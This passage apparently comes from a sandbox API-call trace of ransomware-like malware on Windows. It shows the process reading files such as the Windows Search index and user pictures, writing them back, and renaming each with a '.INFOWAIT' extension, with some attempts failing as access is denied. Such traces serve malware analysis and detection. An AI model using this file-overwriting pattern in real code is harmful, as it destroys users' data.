Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.002" [0131.400] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.002", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.002.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.002.INFOWAIT" [0131.400] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.002" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore\\cist0000.002"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.002.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore\\cist0000.002.infowait")) returned 1 [0131.405] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.408] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.409] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.409] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\windows.edb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0131.410] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4810000 [0131.410] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0131.410] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.410] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0131.465] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0131.476] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.476] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0131.476] CloseHandle (hObject=0xad0) returned 1 [0131.476] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb" [0131.476] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb.INFOWAIT" [0131.476] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\windows.edb"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\windows.edb.infowait")) returned 1 [0131.477] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.478] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.479] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.479] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\5p5nrgjn0js halpmcxz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0131.479] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x0 [0131.479] CloseHandle (hObject=0xad0) returned 1 [0131.479] lstrcpyW (in: lpString1=0x26ef5c4, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat" [0131.479] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat.INFOWAIT" [0131.480] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\5p5nrgjn0js halpmcxz.dat"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\5p5nrgjn0js halpmcxz.dat.infowait")) returned 1 [0131.480] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0131.480] GetLastError () returned 0x0 [0131.480] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0131.480] GetLastError () returned 0x0 [0131.480] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.481] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile10.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile10.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.481] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0131.481] GetLastError () returned 0x5 [0131.482] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0131.482] GetLastError () returned 0x5 [0131.482] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0131.482] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0131.482] lstrlenW (lpString="CreateFile") returned 10 [0131.482] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0131.482] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0131.482] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0131.482] lstrlenW (lpString="5") returned 1 [0131.482] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0131.482] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0131.482] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.482] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.482] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.482] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.482] LocalFree (hMem=0x65ded8) returned 0x0 [0131.482] LocalFree (hMem=0x2568430) returned 0x0 [0131.482] GetLastError () returned 0x5 [0131.482] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.482] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile11.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile11.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.482] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0131.482] GetLastError () returned 0x5 [0131.482] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0131.483] GetLastError () returned 0x5 [0131.483] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0131.483] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0131.483] lstrlenW (lpString="CreateFile") returned 10 [0131.483] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0131.483] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0131.483] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0131.483] lstrlenW (lpString="5") returned 1 [0131.483] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0131.483] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0131.483] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.483] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.483] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.483] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.483] LocalFree (hMem=0x65ded8) returned 0x0 [0131.483] LocalFree (hMem=0x2568430) returned 0x0 [0131.483] GetLastError () returned 0x5 [0131.483] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.483] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile12.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile12.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.483] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0131.483] GetLastError () returned 0x5 [0131.483] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0131.483] GetLastError () returned 0x5 [0131.484] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0131.484] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0131.484] lstrlenW (lpString="CreateFile") returned 10 [0131.484] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0131.484] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0131.484] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0131.484] lstrlenW (lpString="5") returned 1 [0131.484] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0131.484] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0131.484] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.484] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.484] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.484] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.484] LocalFree (hMem=0x65ded8) returned 0x0 [0131.484] LocalFree (hMem=0x2568430) returned 0x0 [0131.484] GetLastError () returned 0x5 [0131.484] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.484] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile13.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile13.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.484] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0131.484] GetLastError () returned 0x5 [0131.484] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0131.484] GetLastError () returned 0x5 [0131.484] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0131.484] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0131.484] lstrlenW (lpString="CreateFile") returned 10 [0131.484] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0131.484] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0131.484] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0131.485] lstrlenW (lpString="5") returned 1 [0131.485] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0131.485] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0131.485] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.485] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.485] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.485] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.485] LocalFree (hMem=0x65ded8) returned 0x0 [0131.485] LocalFree (hMem=0x2568430) returned 0x0 [0131.485] GetLastError () returned 0x5 [0131.485] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.485] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile14.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile14.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.486] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0131.486] GetLastError () returned 0x5 [0131.486] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0131.486] GetLastError () returned 0x5 [0131.486] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0131.486] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0131.486] lstrlenW (lpString="CreateFile") returned 10 [0131.486] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0131.486] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0131.486] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0131.486] lstrlenW (lpString="5") returned 1 [0131.486] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0131.486] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0131.486] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.486] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.486] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.487] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.487] LocalFree (hMem=0x65ded8) returned 0x0 [0131.487] LocalFree (hMem=0x2568430) returned 0x0 [0131.487] GetLastError () returned 0x5 [0131.487] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.487] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile15.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile15.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.487] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0131.487] GetLastError () returned 0x5 [0131.487] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0131.487] GetLastError () returned 0x5 [0131.487] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0131.487] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0131.487] lstrlenW (lpString="CreateFile") returned 10 [0131.487] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0131.487] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0131.487] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0131.487] lstrlenW (lpString="5") returned 1 [0131.487] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0131.487] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0131.487] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.487] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.487] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.487] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.487] LocalFree (hMem=0x65ded8) returned 0x0 [0131.487] LocalFree (hMem=0x2568430) returned 0x0 [0131.487] GetLastError () returned 0x5 [0131.488] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.488] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile16.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile16.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.488] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0131.488] GetLastError () returned 0x5 [0131.488] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0131.488] GetLastError () returned 0x5 [0131.488] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0131.488] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0131.488] lstrlenW (lpString="CreateFile") returned 10 [0131.488] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0131.488] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0131.488] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0131.488] lstrlenW (lpString="5") returned 1 [0131.488] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0131.488] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0131.488] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.488] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.488] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.488] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.488] LocalFree (hMem=0x65ded8) returned 0x0 [0131.488] LocalFree (hMem=0x2568430) returned 0x0 [0131.488] GetLastError () returned 0x5 [0131.488] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.488] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile17.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile17.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.489] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0131.489] GetLastError () returned 0x5 [0131.489] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0131.489] GetLastError () returned 0x5 [0131.489] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0131.489] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0131.489] lstrlenW (lpString="CreateFile") returned 10 [0131.489] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0131.489] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0131.489] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0131.489] lstrlenW (lpString="5") returned 1 [0131.489] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | 